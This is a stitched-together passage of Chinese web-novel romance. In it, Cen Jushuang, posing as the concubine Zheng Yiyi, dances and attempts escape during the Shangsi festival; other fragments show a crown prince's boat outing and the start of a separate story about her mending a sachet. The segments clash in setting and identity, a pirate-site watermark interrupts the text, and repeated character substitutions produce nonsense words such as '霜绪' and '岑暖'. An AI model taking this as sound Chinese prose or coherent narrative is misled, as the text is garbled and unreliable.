心中生出些许微妙感,似苦又像甜,方才被欺骗的愤然全都无了,取而代之的是淡淡的喜意。 他依然执着妄图想清心间的异样,那个轻轻带着些甜的吻,似乎比任何甜言蜜语都来得更能扰乱他的心。 再无法质问她,裴述先离开了这里,在净室呆了许久,也想不清。回去时,他没控制住往她那边看了一眼。 她已经睡熟了,梦中无意识地缩成一团,手脚都有些凉意。 果然和岑拒霜想的一样,这晚睡得极好,次日清醒时,她迷茫地坐起身来,还有些许惺忪,身上的锦衾滑落下来。 她又扯了扯被子,然后回想起昨日的事,才感到些许诧异,被子不是被他抢走了吗。 昨晚,她还等着他的反应,却许久都没声响,她再一回头,人没了。本来想等他回来,却睡着了。 岑拒霜扭过头,往床上看了一眼,依旧是空荡荡的,那便只有一种可能了。 他晚上给她盖好了被子,自己冻着。 当真甚是怪异,平白无故对她好了一些,岑拒霜暗暗琢磨着,又将被褥都抱回床上。 流言为假,倒不重要,最危险的是她,若他知道传言是她说的,而且之前所说都是假的,那么她恐怕要完蛋了,能不能活到回国都是个事。 还有,她骗他心悦一事,当真是愁。 在此住了一晚,第二日清早就要离开,当然要吃完早膳再走,和昨日晚宴差不多丰盛,但岑拒霜吃得食不知味。 尤其是她吃到一半的时候,裴述回来了,她立马埋头。 有椅子被拉开的声音,往日熟悉的味道此刻带着些许凉意,丝丝缕缕飘过来,勾得岑拒霜没控制住地抬头看了一眼。 正好见裴述右手执一瓷白的汤勺,虽说勺子比他的手白一些,但岑拒霜觉得他的手更好看。 只看一眼,她就控制不住的想起这手昨日按在她腰间的热度。 她立刻垂头,连着喝了几大口的粥。 瓷勺沉落到碗底,相撞的清脆声音响起,裴述看着岑拒霜恨不得埋到碗底的脑袋,开口问道:“今日怎么不说话?” 往日嘴都停不下来。 岑拒霜一点都不敢再说了,她怕被他看上。 虽然一开始做好了失身的准备,但后来过了这么久安稳日子,清白也不算特别重要,但不必要的纠缠麻烦还是避免一下才好。 她当然不敢说话,但他都问了,她再低头装鹌鹑就显得有些胆小了,所以抬头看着裴述,眼神相对时,呼吸都停滞了一瞬,她才磕磕绊绊道:“有些……困。” “嗯,等会去告别县衙及其夫人,我们就回去。”裴述道。 虽然他的语气依旧淡淡,但岑拒霜看他举动都有些许轻松感,眼角眉梢都带着清浅的笑意。 她没控制住地开口问道:“郎君,是有喜事么?” 这也不是什么秘密的事,尤其是对她说,裴述:“再过些时日,就可离开此处了。” 岑拒霜听得心中一喜,早上醒来后发现他给她盖被子的忐忑都散去了大半。 他走了,那她就可以离开了。但她的人还没找到她,远在姜国的父皇和阿浓或许还不知道她丢了。 若此时被留在这里,还有那个烦人的冯令史,也不知是福还是祸,这么一想,原本的那几丝喜意都被冲淡了,取而代之的是忧愁。 裴述说完话,眼眸便一直停驻在岑拒霜的面容上,看她眉尾下压,那双骄矜的眸子再无盛气凌人之态,反而长睫垂下,瞧着有些落寞。 她应当是怕被丢下。 裴述并未告知她,其实准备带着她一起走,只是嘴角稍微翘起些许弧度。 其实,如今随时都可以回去,已经试探出了他那位薄情父皇的心意,朝中局势也尽在掌握中。 只不过,越晚回去,只越让冯后母子忧心而已。 他不是个优柔寡断的人,既然有点想要她,将她带回去便好。 这般想着,裴述都觉对面的岑拒霜看起来顺眼许多。他余光一扫,见满桌的早膳还未怎么动,只有一碗鱼糜粥稍微用了些。 告别完县衙夫妇,裴述便带着岑拒霜离开了,岑拒霜就跟在他半步远处,再与来找她的人碰头之前,她都决定要安分一些。 只顾看着地上一块又一块的青砖,她又一个没注意撞到了前面,她捂着头,下意识后退一步,却无法苛责裴述为何突然停下,只能在心中暗暗埋怨,为何他后背那般硬。 却又被一只大手拽得踉跄,往前走了一大步,岑拒霜捂着头,歪过去疑惑看他,她又没得罪他,这样大力拽她作甚。 裴述将她拽到身旁,就又松开了手,“你到底做了什么亏欠我的事,才会如此心虚,一直躲着我?” 大皇子干笑一声,从中转圜,“左右岑姑娘都想不起当日发生了什么,不如说说,我二弟带你去东宫都欺负了你什么?” 不想岑拒霜接下来的话却让大皇子险些从软椅上滚下来。 “……太子殿下请我去东宫吃糕点,又给我漂亮衣裳穿,殿下还说着晚上要带我去游湖赏灯呢。” 金殿内陷入一瞬沉寂,无人敢信这是出自于太子的手笔。 江父不依不饶地再一拜身,“陛下,我儿婚事意外被阻,但还有余地。臣恳请陛下,为我儿江逾白与岑家岑拒霜,赐婚。” 岑拒霜眼皮一跳,她没想到江家竟选择直接让皇帝做主她的婚事。 如若皇帝以为这婚事只是因为太子从中做梗才被阻,眼下为了补偿江家,指不定会应下。 殿外隐有狼嚎传来,一个懒散的嗓音越过金殿锦帐。 “你也配?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 30-40 第 31 章 标记 金殿外,天光描摹出一道挺拔的身形,滚金的袖口掠着刺目的光,宽大的衣袖后一只体型雄壮的恶狼随在其后,根根直竖的滑亮毛发染成了金色。 一人一狼还未跨入门槛,殿内已是一团乱。 宫人们纷纷避让着,退至了金帐下躲着,胆子小的已是两腿抖如筛糠,难以站稳。 先前还安生坐在一旁的大皇子,见状直接跳了起来,慌不择路地就往后面跑。大皇子一把抱住了朱红的漆柱,像个猴子一样挂在上面,玄黑衣袍下的两条裤腿还使劲儿地向上磨蹭。 “父皇救救救救我,救我——” 岑拒霜听着那杀猪般的撕心裂肺吼叫,歪了歪脑袋,抬手捂着自己的耳朵。 虽然她听说过之前太子放狼咬伤过大皇子,但没想到大皇子一朝被咬,是如此惧怕太子的狼。 除了笑,岑拒霜不知该如何反应。 虽然如此,但在岑拒霜插科打诨之下,裴述还是跟着她,往那边走了。 洛水旁都是有情人,携手而来,岑拒霜觉得这个要求就算了,即使装样子,也不必提。 情之所至的男女,不光牵手,有些还在亲吻,岑拒霜看得匆匆别过脸,但偶然一瞥,看向前面,裴述却面不改色,径直往前走,毫不避让。 他脸皮是真的厚。 两人很快就到了洛水边上,裴述看了一圈四周,随后道:“已经到了,如今回去?” 岑拒霜感觉他甚是无趣,与旁人格格不入,但也能理解,只有两人是假的。 还有便是旁的女娘和郎君手中拿着花草,其中代表情意的兰草居多,而两人手上空空。 大多是心意相通才会互赠兰草,也有俊俏郎君或是娇美的女娘抱了一大把兰草,遇到顺眼的便给出去一根。 两人一路走过来,也有许多人蠢蠢欲动,想要将花草塞到他俩手中,但是前面的裴述冷着脸,岑拒霜在后面紧紧跟着,都不敢向两人靠过去。 岑拒霜今日出来的主要目的就是在外面多呆上一阵子,若这么早就回去,岂不是功亏一篑。 在这黑心郎君的压榨之下,她下次出来不一定是何时。 岑拒霜也发觉了两人为何和旁人不同,她对着裴述笑得腼腆,眸子微弯,带着些许真诚,反问道:“郎君,我去采些兰草过来,可好?” “你不会是想趁乱逃走吧?”裴述闻言转过头,看着岑拒霜,语调轻缓,似笑非笑地问着。 确实,但需有良机。一直在他眼皮子底下,她若逃跑,岂不是在寻死? 那些威胁她的话,从罗南口中说出,还像是单纯的威胁。但裴述说的,无论是要将她丢到青楼,或是杀掉她都是真的。 回想起破庙初见,岑拒霜刚刚养好的脖颈还有些许痛意。 她立即面色正经地回应道:“怎会?如今伊伊只想伴在郎君身侧,去寻兰草,也是因为……这处的兰草长得不大好。” 洛水旁边水土肥沃,裴述看着她身后,距离两人不到两米处,长势极好的兰草,有些沉默。 但他也想看看岑拒霜到底想搞什么名堂,所以笑着点头,声音亦是温和,“那便去吧,伊伊……” 他嘴唇只简单地翕动,伊伊二字说得极轻、极缓,似是从唇齿间辗磨后,才说出来的呢喃话语。 岑拒霜听得下意识打了个激灵,万分后悔,当初为何要把她的小字说出来,被他如此喊出来,她觉得很怪异。 就连她脸上的笑意都僵硬了几分,“那郎君,我先走了。” 得到应许后,岑拒霜连忙转身,笑容也随即消失,她抬起手,揉了揉笑得有些僵的脸颊,沿着洛水往远处走。 她知道裴述一定在后面看着她,所以她还像模像样地打量着两侧的兰草。 洛水旁边的人又开始唱起了歌谣,有些善舞的女子也随之起舞,吸引了更多的人聚集在洛水旁。 岑拒霜有些惧水,被人挤了一下后,她怕掉下去,所以离洛水远了些。 但她甫一回头,发现熙熙攘攘的人群已经包围了她。 她,看不到裴述的身影了。 岑拒霜心跳如雷,本来是打算惹他们厌烦,赶她走的,但此刻,好像……真是一个逃走的好时机。 但他会这样容易地放过她么?他会不会就在某处,暗中看着她,等她提起裙角、跑远时,出来逮住她。 岑拒霜有些焦躁,目光四处打量了一圈,认认真真、仔仔细细,却都没见到裴述。 她想跑,但一想到方才裴述的语气,又有些不敢。 她的头转回几分,目光停在一个小摊子上,那处坐着一个白发苍苍,仙风道骨的方士,此刻他闭眼打坐,旁边挂着一个条幅——占卜凶吉,寻医问药。 此时,巫术蛊术盛行,这些通鬼神之人被尊待,岑拒霜也是有几分相信的,姜国皇宫中也养了许多方士,出行前更要占卜凶吉。 想当初,她来东淮前,也占卜了出行,结果为凶,她有些犹豫,毕竟是不吉之兆。 但转念又想,这是人为而测,万一方士被赵姬收买,那她岂不是失了良机? 所以岑拒霜来了东淮。结果呢,沦落到如此悲惨境地,连国都回不去了,正巧应了凶字。 所以她又上前,和方士说明来占卜出行,她满怀期待地看着方士拿出随身携带的龟壳,开始占卜。 最后方士提笔,在纸上写了两字——大凶。 岑拒霜看着大凶两字就止不住的心慌,来东淮她都这么惨了,也不过一个凶。 若是现下离开,批语为大凶,那她会惨成什么样子? 岑拒霜想象不到。 占卜过后,方士便重新闭目。但几瞬已过,一点声响都没有,他眯着睁开眼,见面前美得令人心折的女娘,觉得她一点眼色都没有。 他又重新闭上了眼,抚上白髯,咳了一声,郑重道:“女娘,占卜钱。” 这点当真为难到岑拒霜了,她身无分文。 但她见这方士年过半百,一看便是和善,将钱财视为身外之物的方士,主动提起占卜钱,也是因为浪费气运,要些金银气压住。 她霜绪乱成一团,四处打量,仍然没有熟悉的身影。 人总想逆反,若裴述方才不问她,岑拒霜或许还会安分留下,但此刻不走,仿若真怕了他。 岑拒霜突然觉得这大凶二字也不能全信,机不可失时不再来,所以对着方士匆忙道:“仙道,我今日未带钱财,来日若有相见之机,必定百倍相还。” 话音慌忙落下,岑拒霜提起裙角就向着人群密集跑,身后方士的呼喊声都变得模糊不清。 呼啸的风声从耳边刮过,歌舞声渐渐远去,岑拒霜已经想好了以后。 这些日子过去,岑拒霜考虑得也周全些许,若想安全,她应当寻一户老实的人家,许诺银钱,住上一晚,顺带打听姜国使臣具体到了何处。 她估摸着使臣已经到了阙城,那就没有追上去的必要,只需在使臣归国的路上,寻一就近的县城等待即可。 虽然可能很艰苦,但为了回国,为了阿浓,岑拒霜可以忍。 如此多的想法,短短几瞬,岑拒霜就在脑海中过了一遍。甚至,她已经想象到与阿浓重逢时的欣喜。 “郑伊伊。” 字字清晰,熟悉带着些许怒气的男子声音,让岑拒霜倏然就停下了脚步,她跑不掉了。 他已经看到了她,她就没法接着跑了。 方才的幻想都成了一场虚妄,岑拒霜站住,呼吸急促,胸前剧烈起伏,她手上还拿着一把,被路过郎君塞过来的兰草。 “郎君,”岑拒霜笑着回头,脸色还有些红,纤纤玉手指了指不远处的一朵兰花,那是郁郁葱葱一片兰草中仅剩的一个, “我想送郎君一朵、兰花。” 追上来的裴述就那样站在原地,面无表情,俨然是不相信她的话。 他眸中晦涩不明,定定看着她,阴恻恻道:“郑伊伊,骗我,你想死么?” 岑拒霜喉间咽了咽,方才逃跑的仓促和慌张才匆匆压了下去,她知他根本不会相信她说的话。 在裴述的注视下,她走了过去,摘下了最后一朵兰花,动作很快,似乎怕被其他人抢走。她却没直接将兰花递给他。 跑过来一路,岑拒霜也看到了许多女娘,她们都会给心上人跳舞,甚至还会邀请心上人共舞,这个岑拒霜倒是不敢。 不过,她将兰花与方才收到的一把兰草同攥在一个手心中。 虽然岑拒霜从没亲自参与过上巳节,但此时女子皆擅舞,她身为公主,更甚。只不过,鲜少在人前跳而已,没有她值得用舞取悦之人。 但此刻,岑拒霜以花草作扇,踮脚起舞。她今日所穿衣裙为长袖带襟带,正合适。 她扬起长袖,袖中带香,从裴述面上飘过,是他已经略为熟知的香气。随着飘逸的袖子滑落,随后她作折腰之舞,蹑蹀为步于他旁。 时人好细腰,轻盈身段,这些岑拒霜都有,而且是各中翘楚。 翩跹却轻盈的舞姿,勾人的纤细腰肢,随着动作甩动、在空中画出圆满弧线的长袖,没有相配的鼓乐声。 却有越来越多的人,齐聚此地,将两人围住。 更有兴致者,以埙声为奏,更给舞姿添了灵动柔美,随着愈发快的咏唱声,漼似漼折,腰肢的弯曲程度令围观众人发出惊呼声。 广袖轻舒,身影如燕,姝色引人盼。 洛水对面,一郎君目光被那抹玉红吸引过去,不自觉走了神,未专心做手中事,姜国人喜舞亦善舞,纵他一男子,也想过去随之一舞。 但当那女子翘袖随音,垂眸侧首时,郎君却倏地双目睁大,不敢置信地死死盯着那一抹侧脸。 “喂!发什么呆?” 他被身旁女子重重拍了下后背,却感觉不到痛意,他惊到声音都变得结巴起来,“那、那不是、我们公主吗!?” “听说孤今晚要带你游湖赏灯?” 岑拒霜陡然睁开了眼,一度以为自己在做梦。 直至她瞧见太子映在珠灯下妖异的面庞,一双瑞凤眼正盯着自己,她须臾间清醒了过来,连连赔笑着解释,“……我我这不是为了体现殿下您待我极好嘛。” 岑拒霜还未反应过来,她人连带着盖着的锦衾就被太子一道卷起来,扛在了他的肩头,“那待你极好的太子殿下,就带你走一趟。” 她瞪大了尚是惺忪的睡眼,不知为何今夜太子瞧着心情极好,随后她整个人像是牵线木偶一样被摆在了妆台前,由着尤珠带着一群宫女们上下忙活为她梳洗打扮。 半个时辰后,岑拒霜在玄序的引路下来到了城中最为繁华的映星湖。 夜里笙歌不休,游人如织,高台阁楼缀满了星星点点的灯火,湖畔往来画船乘着月色,破开粼粼清光,其间一艘游舫最为壮观华贵,足有一座小楼那么庞大,也不知是哪家贵公子一掷千金租得的。 她满觉新奇地东瞧西瞧,正感叹着湖心的游舫尤为气派时,玄序将她带到了这游舫里。 岑拒霜:“?” 玄序说道:“殿下本想包下这一整个游舫,但知姑娘喜热闹,殿下便让今夜至此的百姓们不用花银子,都能登船。” 她惊于这竟是太子的安排时,余光瞥见一抹清癯如松柏挺立的身影。 是江逾白。 第 32 章 浅尝 华灯初上,游舫处的人影接踵而至,密密麻麻地挤满了人,船身处挂满了簇簇花灯,又系着阵仗足以盖过天际的彩布,各色条条飘动于灯火染红了半边天的漆夜里,声势比之年节还要热闹几分。 不多时,锣鼓喧天,人声如潮水般盖过一阵又一阵。 “今晚全场由裴公子买单!” 群人中不知谁这般高声喊了一句,接着沸腾的欢呼声连连而起。意识到这包场的公子姓裴,便有人开始猜测着是宫里来的哪位皇子王爷,为讨佳人欢心,竟舍得这样挥霍。 游舫挨挤的长廊下,岑拒霜一眼便瞧见了人影之中的江逾白。 她当即敛下眼,假作未见,提着衣裙欲越过江逾白身侧时,又察觉自己的前路被江逾白一步上前挡住。 “小霜。” 江逾白唤着她,偏冷的声线愈发显得沉郁。 将期待放在了上巳节,岑拒霜打算趁乱四处走走,或许还有逃走之机,所以这两日她都很安分。 前几日有些冷,但天气一日比一日暖和,也凑合着能吃饱了,她也能勉强安稳入睡。 岑拒霜也改了从前对赵孺的躲避,每日都到旁边宋家呆一会儿,两人逐渐交心,岑拒霜挑着说,又将被迫成为外室的事,告诉了赵孺。 赵孺对裴述和罗南两人的印象坏透了,有龙阳之好并不算大事,此时风气开放,人们对此也是尊重。 但为何要蹉跎岑拒霜一个妙龄女子的大好年华,还如此貌美,真是造孽!但在岑拒霜的劝说下,她并没将此事告诉亭长。 赵孺家中也不算富裕,但是夫君是亭长,也有微薄的俸禄,赵孺又善厨,所以总邀岑拒霜留下用饭。 虽然比不上从前,但干净的热汤,偶尔还能食羊肉,岑拒霜每日都留下吃饭,赵孺又邀子弦一起。 岑拒霜和子弦天天都能吃饱,晨食不用、晚饭也不吃,引起罗南怀疑,但子弦被岑拒霜说服,谁也没说出来,只看着裴述和罗南用饭而暗笑。 赵孺还给岑拒霜支了招,她可以装作对高郎情深,他们最怕女娘如此纠缠,说不定就会直接将她赶走了。 岑拒霜觉得有道理。 到了上巳那日,万民都要祓除衅浴,用香料药物沐浴除去身上的晦气,之后于河边祈福。 往年,岑拒霜贵为公主,当然不会与普通民众一齐在河边洗濯。但皇帝一家也会带着贵族前去逛逛,美名其曰与民同乐。而岑拒霜通常都在姜国最高处的塔楼,看众人欢聚。 薄暮冥冥,只余微光,四人都坐在桂花树下,岑拒霜托腮等着出去,完全没想到裴述还要看着她,和她一起去。 听闻裴述和岑拒霜要一起出去,第一个站出来反对的就是罗南。 上巳是何等节日,往年,殿下都在京中洛水处与民齐聚。 东淮皇帝向来不屑做这些,大皇子亦将他父皇骨子里的阴狠、残暴学了个十成十,视民众为蝼蚁。只有太子温润有礼,待人亲和,赢了朝中支持还有民心。 上巳节要除去晦气,祈祷万事顺遂,除此之外,更有“仲春之月,令会男女,于是时也,奔者不禁。”的习俗。 都是奔者不禁的大好时日,小女娘和年轻郎君有情人相互会面的大好时机,殿下从未邀他阿姊一同出去过,怎么能让此女和殿下一起去? 裴述都已经答应了岑拒霜,所以她一点儿都不慌,罗南前几日还威胁要杀掉她,所以此刻岑拒霜并未出声,只是稍微又往裴述旁边挪了挪。 她用湿漉漉的眼怯怯地看了裴述一下,之后害怕地垂下头,卷翘的长睫颤动,不敢看罗南。 如此矫揉做作! 罗南如此想。但明显,裴述并没有搭理他的意霜。 罗南在院中来回转了许久,最后对着两人说:“那我也要去。”他给去看着,不能让此女有可乘之机。 岑拒霜:果然没错啊…… 目前看来,罗南更喜欢他家郎君,她再努力痴缠些许,让两人都相信她对高郎情深不移,这样极有可能早些归家。 大门被敲响,桂花树下,四人的谈话声戛然而止,赵孺的声音响起,“郑娘子、郑娘子?” 是特意来寻岑拒霜的,岑拒霜深觉和赵孺相处,可比在此处与男子勾心斗角,争风吃醋强多了。 她连忙起身,将大门推开了一条缝隙,侧着身子出去了,却许久都没回来。 罗南如今恨不得时刻都在裴述面前抹黑岑拒霜,对着裴述告状,“殿下,瞧瞧、瞧瞧,这可才几日,就同外面打好关系了。周围都已认识了她,殿下可得将她看住了,今晚还是不要出去的好,万一此女趁乱跑走,又该如何是好?” 子弦默默反驳,“……伊伊阿姊不是这样的人,她只是想家了,再说……上巳节,旁人家的女娘早就出去玩了。” 子弦这小子原本跟着殿下整日整日地不说话,如今不知被那个女子灌了什么迷魂汤,罗南刚要问问子弦,就被裴述打断了。 裴述抬眼看他,已有不悦,他语气淡淡,“罗南,你僭越了。她——” 他说话声音突然止住,挨训的罗南有些莫名其妙,顺着裴述视线向门口望去。 是一艳姝女娘立于大门旁,眉间一点绯色梅花钿,披玉红纤罗裙,长袖舞衣,云鬓挽成飞仙髻,上面却只簪一木头簪子。 容华缅貌,恍若神仙妃子。 裴述看着岑拒霜:“……为何打扮成这样?” 他说话的声音惊醒了罗南,罗南后知后觉,只觉此女心机颇深。 怕此女魅惑殿下,他都让成衣坊的掌柜选最朴素的衣裳。没想到,此女竟然还有旁的法子。 岑拒霜笑着走到裴述身侧,知道她走得太近,他又会不适,就在他一米远之处,转了个圈,余芳散开,诱人深究。 “是赵夫人女儿的,女子在上巳都要穿新衣的啊,郎君没给我买,赵夫人就给我找了一身。” 裴述移开目光,她无非是在提醒他,对她一点儿都不好,连新春装都没有。 见没人接茬,岑拒霜忍了忍,又对裴述笑道:“郎君,走么?” 罗南心想,这回必须给跟上,他还将不打算去的子弦也拽上了,美名其曰保护郎君。 但岑拒霜知道其在瞎扯,上次都见到暗处有人随行保护了,但她也能理解罗南的心。 困在小巷中许多日,岑拒霜近日去的最远之处,就是院后百步远的小溪了,还是为了浣衣,当真是苦不堪言。 如今跟着裴述,岑拒霜终于光明正大地走到了大街上。 往年此刻,她有时和阿浓一起,但更多时,是她一人目睹下方语笑喧阗。 如今她就身处喧闹的大街上,街两旁放置着错落的灯盏,似华灯火树,如白昼。来往行人如织,一家一家走着,遇到认识的人还会互相问好,气氛很是和睦。 岑拒霜专注看街上众人,一个没注意,便撞到了她前面的裴述,她捂着额头,有些痛,但已经从心底怕了裴述,所以又赶忙道:“郎君,我不是有意的。” 看着眸中痛得已有雾气,但小声道歉的岑拒霜,裴述觉得她学乖了,可她如此惶恐,怕他的反应,似乎……也没有让人很开怀。 而岑拒霜已经习惯了裴述不理她,道完歉,她的注意力很快被一处吸引过去,那应当是洛水。 这条大河横跨三国,此处偏僻小县,洛水也是小小一条,虽然如此,洛水边的人却依旧是最多的。 洛水边,篝火燃尽墨色,水上映着火光。女娘们皆着新春装,衣饰鲜艳,妆容娇媚。 其中亦有许多郎君,不分男女,载歌且舞,看对眼、或是有情的男女互赠花草,若是心有意,携手离开去偏远处也不会被人指责。 在她痴迷于喧哗热闹时,方才落下队的罗南匆匆赶上,在裴述耳旁急禀道:“殿下,漕县潜入了一批姜国人,不知原因。” 姜国……裴述垂眸,长睫遮挡住眼中的万般霜绪。 他的好哥哥,因冯姬成了继后,如今成了嫡长子的裴鄞,与姜国人暗中勾结上,企图置他于死地。 姜国人此刻恰好出现漕县,其中定然有鬼。 他抬眸,眼中一闪而过的狠厉,“去捉,严刑审问,之后杀掉,一个活口都不要留。” “喏。”罗南垂首,额间却沁出些许冷汗,离京中太久,这些日殿下看起来很好说话,甚至对冒犯他的女子处处手上留情,他险些忘掉从前的殿下有多狠心。 此刻,他怀疑殿下不是回不去京中,而是不想回。即使太子不在,京中却仍因他掀起腥风血浪,甚至陛下与冯后生隙,连带着大皇子都受牵连,被陛下厌弃。 同样流着东淮皇室偏执的血脉,裴述却能更深的隐藏起来。看着倒比……大皇子更可怕。 “你们吵架了么?”岑拒霜倏然从裴述旁边冒出来,看着两人之间严肃的气氛,有些好奇地问道。 罗南白了岑拒霜一眼,随后便转身离开了,子弦想暗暗撮合两人,所以也跟着罗南走了。 他们商量的事,从来都不告诉岑拒霜,岑拒霜也懒得去问,知道得越少越安全。方才是为了让两人更烦她,她看着裴述,装作天真道:“郎君,咱们去那处吧?” 她手指之处,是洛水边,许多有情人互赠花草之处。 裴述往年都在其中掩饰,即使不愿,面对那些愚昧平民也要笑得温和,此刻厌烦至极,眉心微蹙,“为何?” 那处都是一对又一对有情人,或是寻觅良缘的年轻男女,他为何要陪着她去? 岑拒霜回道:“我不是郎君的外室么?” 裴述被怼得无可反驳,“……你适应得倒快。” 不过方妙嫣入内后便说着要去小解,岑拒霜独自在船舱内不见其人影。 正觉奇怪时,江逾白的身形出现在眼前。 岑拒霜心头一凛,顿时明白是江逾白让方妙嫣把自己约到这里的,她沉着脸,站起身便要离开。 却不想江逾白抓住了她的手,“小霜,那日我们还有很多话没有说清楚,事情并非你想的那样。” “放开!”岑拒霜拼力挣扎着,“江公子,你我之间已经无话可说,大家桥归桥,路归路,还请你自重!” 江逾白不依不饶,“小霜,我答应你以后不会再做伤害人性命的事。” 岑拒霜觉得很可笑,她很想问一句,自己是他五年前的任务,现在纠缠着要她嫁给他的,又是什么时候的任务呢? 但见那双少有情绪起伏的眸中沉淀着些许悔意,岑拒霜咬着牙,不愿再多说半个字。 可她怎么也挣不开江逾白有力的手,他步步上前,将她逼进了暗影里。 船舱的门倏地半开,另一只手握住了她的肩膀。 “很抱歉,今夜是孤同她的约会。” 第 33 章 合适 岑拒霜只觉手腕被江逾白捏得发疼。 眼见太子的到来,她毫不犹豫地折身走到太子身侧,这样的选择对于江逾白而言,已见真章。 游舫上的人来人往仍旧,各自笑语盈盈,暗香满怀,江逾白一点点瞧见自己手边抓着的细腕落了空,从指缝中抽离而出,干脆利落,离自己越来越远。 他没有任何理由再从太子身边带走她,甚至只能眼睁睁看着太子带走她。 江逾白望着跟随太子背影远去的红衣身影,他捏紧了拳头,不明白为何短短几日,岑拒霜便与他形同陌路。 若论杀人与草菅人命……那疯子裴述手上的人命何其多! 她为何就不会厌弃太子呢? 初夏的清晨,水雾弥漫,金粉的曦光浅浅地打在刚出苞的蔷薇之上,透过残留其上的几丝露水,散出点点星光,映出巍峨森严的红墙碧瓦。 一阵裙摆飘过,“吱呀”一声,小院内的房门被轻轻推开。 吹灭长明灯,侍女轻手轻脚地开了窗,一道曦光透过菱花窗棂,再穿过藕色透明的帷幛,最后浅浅落在床上少女那精致的眉骨之上。 少女肤胜雪白,微光在浓密的睫毛在眼底投下一层浅浅地阴影,她睡相恬静,樱粉色的薄唇微微上翘,不知是做了什么好梦。 忽地,侍女惊叫一声,将睡梦中的岑拒霜唤醒。 “怎么了?”她扶着额头起身,睡意昏沉。 “昨夜窗户没关好,”沅芷迟疑地看着梳妆台上的脚印,“好像有猫进屋了。” 猫? 岑拒霜抬头,见梳妆台上东西七零八落滚作一团,心里咯噔一响。 糟了! 她的香囊! 连鞋也来不及穿,岑拒霜直直地扑向梳妆台,在散落成一团的针线之中捡起一个精致的香囊,而后浑身一僵。 香囊以杏色锦缎做底,好似黄昏时分,其上秀满了是漫天晚霞,绣工精美,美轮美奂;香囊另一侧则用金线勾了一个“安”字。 只是如今,这漫天晚霞被勾了一角,十分突兀。 清晨的地上依然有几分寒凉,沅芷急忙上前为她穿好鞋袜,起身看到她手上的香囊之后,一时间也不由愣住,心道糟了。 这可是小姐忙活了半年才赶出来送给太子殿下的香囊,而今天太子殿下就要回宫了! 这该如何是好! 岑拒霜是将门遗孤,十年前其父岑将军战死沙场,岑夫人悲痛至极,竟直接撒手人寰。幸得她的姑母岑皇后垂霜,便将她接进宫中亲自抚养。 父亲镇国公是皇帝的伴读,母亲是西域龟兹国的公主,皇后又是她的姑母,岑拒霜身份尊贵异常,在宫里自然没人敢轻视她。 但孤女毕竟是孤女,更何况是她入宫时不过六岁。出入宫时的彷徨和惊恐,想在想起来都让她心惊。 所幸上天垂帘,岑拒霜遇上了她的表哥裴述,当今大周最尊贵的太子殿下。 她第一次入宫时不慎跌倒,是他抱着她跨进宫门的;第一次写字时握不住笔,是他手把手教的;第一次打猎时不会骑马,是他牵着她的马驹亲自教…… 裴述,是岑拒霜在宫中的庇护和依靠,是她这十年唯一的岑暖。自三年前漠北入侵,裴述自请出战以来,岑拒霜没有一天不焚香祈祷,盼着他平安归来。 而如今,精心准备了半年的礼物,却被小猫勾出了一线线头。岑拒霜拿着被毁了的香囊,一时间脑子嗡嗡响,呆住了。 沅芷吓得脸色惨白,自责地低下头,两只手绞在一起。 这个香囊,可不是一般的香囊。 绣晚霞的每一道云纹,不是一般的丝线,而是岑拒霜每日忍着刺耳的聒噪和臭气熏天的鸟粪,从百鸟园那些珍贵漂亮的鸟儿散落在地上的羽毛里,一根一根精心挑选出来的。 光是配色,就花了一个多月! “这是怎么了?”一道苍老却不失浑厚的声音自门口传来。 “乌嬷嬷!”沅芷眼睛一亮,她三步并作两步走到门口,远远指着岑拒霜耷拉着的背影,附耳小声道:“刚刚那只小猫又来了,还弄坏了小姐送给太子殿下的香囊。” 乌嬷嬷是岑拒霜母亲的陪嫁丫鬟,地地道道的西域人,身形颀长,比一般中原姑娘要高出半个头,高鼻梁、大眼睛,头发微卷。 不过入乡随俗,她跟随岑拒霜的母亲进京快二十年了,早已穿汉服说汉语,一双巧手巧夺天工。 岑拒霜不善手工,这香囊是在乌嬷嬷一针一线指导下,几乎用了三个月才做出来的。 “乌嬷嬷,你看还能补上一补吗?”岑拒霜眼圈微红,双眼蓄泪,十分努力才不至将泪水落下。 她的眼睛极大,睫毛浓密,眼角微垂,加上年龄小,不用刻意造作,天然有一番天真无辜之感。瞳仁不是一般的棕色,而是偏紫灰色,这是龟兹国王室特有的颜色。 虽是胡汉混血,可岑拒霜除了一双紫灰色的眸子和精致挺立的眉眼,几乎和中原女子别无二致,如今那双紫灰色的眸子泛着水光,更带了些江南烟雨的雅致。 “怎么不能补?”乌嬷嬷虽然声音不大,但说出的话却像磬钟一样有力,定人心弦。她轻轻抚了抚岑拒霜单薄的肩膀,将香囊拿到窗前仔细看了看。 “这猫爪将这一圈儿的线都勾起来了,得去百鸟园再翻一翻,尽量找颜色相同的线才能配得上。” “太子殿下一回宫定有许多事要做,怕是只有下午才能进后宫拜见皇后,咱们还有一天的时间,不着急。” 一听能补救,岑拒霜立马兴奋了,蹭的一下就站起来,“那我现在就去!” 乌嬷嬷慈爱地看着她,笑道:“小祖宗,你先把衣服穿上呀。” …… 圣上爱鸟,专门修建了一座养鸟的院子,还未走近,隔了一道宫墙就能听到叽叽喳喳的鸟鸣,在静谧的清晨尤为刺耳。 原以为事情会很轻松,岑拒霜便只身前来,然而刚走到门口,她就顿住了。 往日清冷的百鸟园,如今门口却站了不少太监宫女,岑拒霜分不清是哪个宫的,一时间踟躇了。 虽进宫十年,但由于身份尴尬,她也长居自己宫里,不常与人走动,唯有皇后的未央宫和裴述的东宫比较熟悉。 宫里头人多嘴杂,是非极多,她可不想让别人知道这事儿。 怀里揣着破碎的香囊,岑拒霜本想等来人离开再进去,可看着越来越高的日头,里面的人似乎并不打算出来,岑拒霜脸上急得冒汗。 没时间了,不管了! 她深吸一口气,抚了抚怀里的香囊,向园外聚集的人群走去。 一见有人来,方才还闹哄哄一片的太监宫女,瞬间没了声。待看清了是岑拒霜,众人更是讶然,纷纷好奇地睁大眼睛望着她。 是什么事儿,能把这位不常露面的主子请出来? 迎着绚烂阳光走来的少女,婀娜摇曳,肤如春雪,深邃的眉眼带了些异域风情,然而精致小巧的鼻头和嘴唇,却又有几分江南女子的婉约。 尤其是那一双眼睛,在阳光下如琉璃一般波光婉转,光彩动人。 “岑小姐。”众人屈膝行礼。 宫里有不少皇子,不少公主,却只有一位小姐。 “都起来吧。” 岑拒霜不甚熟练地让他们起身,这么些年来,虽说宫里有大大小小的宴会,但岑拒霜几乎从未参加过,不太习惯应付这么多人。 